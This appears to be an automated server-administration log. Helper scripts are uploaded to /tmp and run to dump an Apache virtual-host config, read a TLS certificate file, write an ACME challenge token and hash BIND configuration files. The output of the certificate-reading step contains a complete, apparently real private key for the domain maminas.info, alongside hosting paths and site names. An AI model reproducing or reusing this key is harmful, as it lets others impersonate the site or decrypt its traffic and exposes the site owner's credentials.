Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-28 11:38:55: 

PUT: /tmp/pkp942598

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/maminas_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-28 11:38:55: 

chmod 755 /tmp/pkp942598; /tmp/pkp942598; rm /tmp/pkp942598

2026-01-28 11:38:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/maminas_www_info.conf	1355

<VirtualHost *:80>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_error.log
    SetEnv pkp_uid	56
    SetEnv pkp_owner	maminas
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_secure_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-28 11:38:55: 

PUT: /tmp/pkp514996

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-28 11:38:55: 

chmod 755 /tmp/pkp514996; /tmp/pkp514996; rm /tmp/pkp514996

2026-01-28 11:38:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt	5369
73:9e:76:32:3d:5d:ba:5e:8e:a8:72:24:b0:2a:fc:74

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBd5Nm8aDsapyk2KA70tqHvyPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTI4MTA0MDIxWhcNMjYwNDI4MTA0MDIwWjAXMRUwEwYDVQQD
EwxtYW1pbmFzLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDS
3+UEmjRm/7ldSK0gseqDB+MpGtfZV98hNMCDfpQMWeVMMvJJPv6qI51uq6sKnus8
/uwJzvMldnoLdXOFtU63KW5a0x4GJ3UcMPaT1d1V2sE8WMw7jGKXTDIJwOON18fa
rgSDjbtCR0/tBnNUTDqjOtfguM8OWVx4hfzSoz4MyktY6OHh38I8LIo92oKPbpW4
H2y04GMzNTX3LnsUe58rH4iZSDnDBHOEq7hwPpQxl1gBDs/JcBBQPC7NF5S7Sfoq
ndNqakx+RvfPDcpcxJ61ySxeYCu+EIX74KEt3vq4iWd0LDvDwnmRtUTr2dLO7c4o
D/pFXpcfScRL7zraD6lPAgMBAAGjggI0MIICMDAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFLQCFYFOGrobbvoDKMK+EyuBPGnbMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMbWFtaW5hcy5pbmZvghB3d3cubWFt
aW5hcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTYuY3JsMIIBCgYKKwYBBAHWeQIEAgSB
+wSB+AD2AHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGcBGYt
gwAABAMARjBEAiABRm/rxOHdKg8pbL1JJLr8hTBC2AnOTap68FhRyML8WQIgPxZ7
9d6KScOJ4H/XwAuY4yLVHHYUBmT3aLc/6t84itkAfQDjI43yjaKI4KrgrPD6kMmF
8La/9dKlJ7AB/BxEWMS26AAAAZwEZjbTAAgAAAUAMLt7JQQDAEYwRAIgHTzOP+OB
K+DG9ZstnegcAlLEVHXgjxwtwn11acggIaECICp42aDzYxKzCzucwBv4TZqJ4FVE
b3WjpQDhW6xFIy6OMA0GCSqGSIb3DQEBCwUAA4IBAQCNNBMz0gEau4tp+YYInyVZ
eQ0fapu2vqa8qQcd4j6vocnnyRm0CyQQLHn7a+pweduoMZsdYr+kzy4iyVOIzPAs
EASycbz5sDplpMdvXjz6XGggg3AuMySy/aD/XSwuOc28/ujAVWu59GGtmPwyRXCN
HByGsnOgijROwkoRVcAuMI8czeSDldAQeUKcbFlaLEsQM0Ge0/eGSXRAi6tqznB+
rp8S6kzwPuToV1WFEaqOBmJZVkwXx0HH+l5iGoqyVvESC+6Kc6F/tAcXWBN+zo0a
ztbfweDPxO54R8IXGpP/J88RnFIYGb+mkxEsDyxwxRV43wbESqUhqCJqkUrEjKmf
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDS3+UEmjRm/7ld
SK0gseqDB+MpGtfZV98hNMCDfpQMWeVMMvJJPv6qI51uq6sKnus8/uwJzvMldnoL
dXOFtU63KW5a0x4GJ3UcMPaT1d1V2sE8WMw7jGKXTDIJwOON18fargSDjbtCR0/t
BnNUTDqjOtfguM8OWVx4hfzSoz4MyktY6OHh38I8LIo92oKPbpW4H2y04GMzNTX3
LnsUe58rH4iZSDnDBHOEq7hwPpQxl1gBDs/JcBBQPC7NF5S7SfoqndNqakx+RvfP
DcpcxJ61ySxeYCu+EIX74KEt3vq4iWd0LDvDwnmRtUTr2dLO7c4oD/pFXpcfScRL
7zraD6lPAgMBAAECggEALkx0JveIa9jXpPCQ+m21tIEl0d+P5qtRVSQU5IoFDVUr
b/h7k7NeDJL3PNY6HoHX2jOKNXkXj3EcyKlH7OJq3vIcxZo2rFk7cC4b5Ud+ahw2
cv54ENb4yokzL0sHaxwmSBAO86dJpvqrRLo21hpKgY4o2bEZ3Oen0tpwMPsgY4Qc
yyuTUwiM0ApyCG067pfdEjElo7Gptger5LTEXi1Hz/hbgFLa5cxEwDUxgpIjOeHL
RN5S7t80gNLdJaC0oTI9tCvZnXjOKrTl+AF6AH3kXPbZu1898XYeRLBSBY418qmo
OHXQveHNApE+ZVkCPekpWJ9YCt2AZTNgupIL06hnUQKBgQDtyKW+y7+TMabniswb
fBvrF4Twka4mmD9OLbu9D9GCOaWKsfKHDzJJo7Av5Gea8M703DROyWBXIaUEfASf
wDgEp5CmUg5pL0c9qOZ+NzUh3XIHjp8w2Np3WPcu3fXJF4mUQXC+qFEw6+H5lsXv
owaXt6ROTdg+3bJh3Pw7BoU52QKBgQDjB4Lf7lQjJV1WN3R3IF4cwgwfEtu+5Z/H
XUPTOf3SVvAMBJPSUuiNm9imR6JHezof87QGU0TpstPDYoeuea0DOMM9MMv633/Q
H4JoKy84niQbE2EYxbgnCCJiUeY/1COEPO0a8Jdb9m78uDQ4u0tfnLoDWrhDP/nz
L1TPJ4ebZwKBgQCAlMLD9Muone3iQVTz+93g97vklvJ0XlnFPcfKibZCVEfnQyih
zh7kYUaR71HzIArZsAX9ILofA8uHLEUX2cqxAaefuLmgOXetqRrS36m0oVnbKk19
DZa9ePdZeZ9CWZ8E84ozHzOgX723yMdKOX8EJcMMsN2hySJ/9w7SIEmEqQKBgEvF
aP+1+mzUfqdU0NElg2OTvBnu4FqBJueSEB4CX92A2JMaP//VXfpNRmyQwe+biBW7
75yg1AIvhg/S5bfssjq+CiN1Es9DItRif9KmfxclaKWEvUZYTxLv2xH3haJN+iCb
eQMhw1KVGAvOqtc4Y3qgw1B1ScRgKNrqNCMDbXYHAoGAR0pSCslAC2X/vCT9s5zF
daiO6+D4LOVncqNK6bxl9yIXroWWmxTr4AUfz/wwQwMvjIudsY+ltXopbPO1ue9G
jBTSGd+XWM7kX+E1SKasT61JoyQWdnroDmb+Mdz/YqiJWbPfQfHcBr2elr8ApGPS
v/PCsoJx/57dNyCgKgnjhWg=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-01-29 06:00:02: Establishing a connection
2026-01-29 06:00:02: Establishing a connection
2026-01-29 06:00:03: 

PUT: /tmp/pkp136805

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-29 06:00:03: 

chmod 755 /tmp/pkp136805; /tmp/pkp136805; rm /tmp/pkp136805

2026-01-29 06:00:03: 


1


2026-01-29 06:00:04: Establishing a connection
2026-01-29 06:00:05: 

PUT: /tmp/pkp558704

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > 0htDH4tmH_Nlo0OTBEJAwjwyXY_aW7uxAED3GRW8H7U <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0htDH4tmH_Nlo0OTBEJAwjwyXY_aW7uxAED3GRW8H7U.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0htDH4tmH_Nlo0OTBEJAwjwyXY_aW7uxAED3GRW8H7U


2026-01-29 06:00:05: 

chmod 755 /tmp/pkp558704; /tmp/pkp558704; rm /tmp/pkp558704

2026-01-29 06:00:05: 




2026-01-29 06:00:06: Establishing a remote connection
2026-01-29 16:22:39: Establishing a connection
2026-01-29 16:23:08: Establishing a connection
2026-01-29 16:23:08: 

PUT: /tmp/pkp193760

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-29 16:23:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp193760; rm /tmp/pkp193760'

2026-01-29 16:23:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
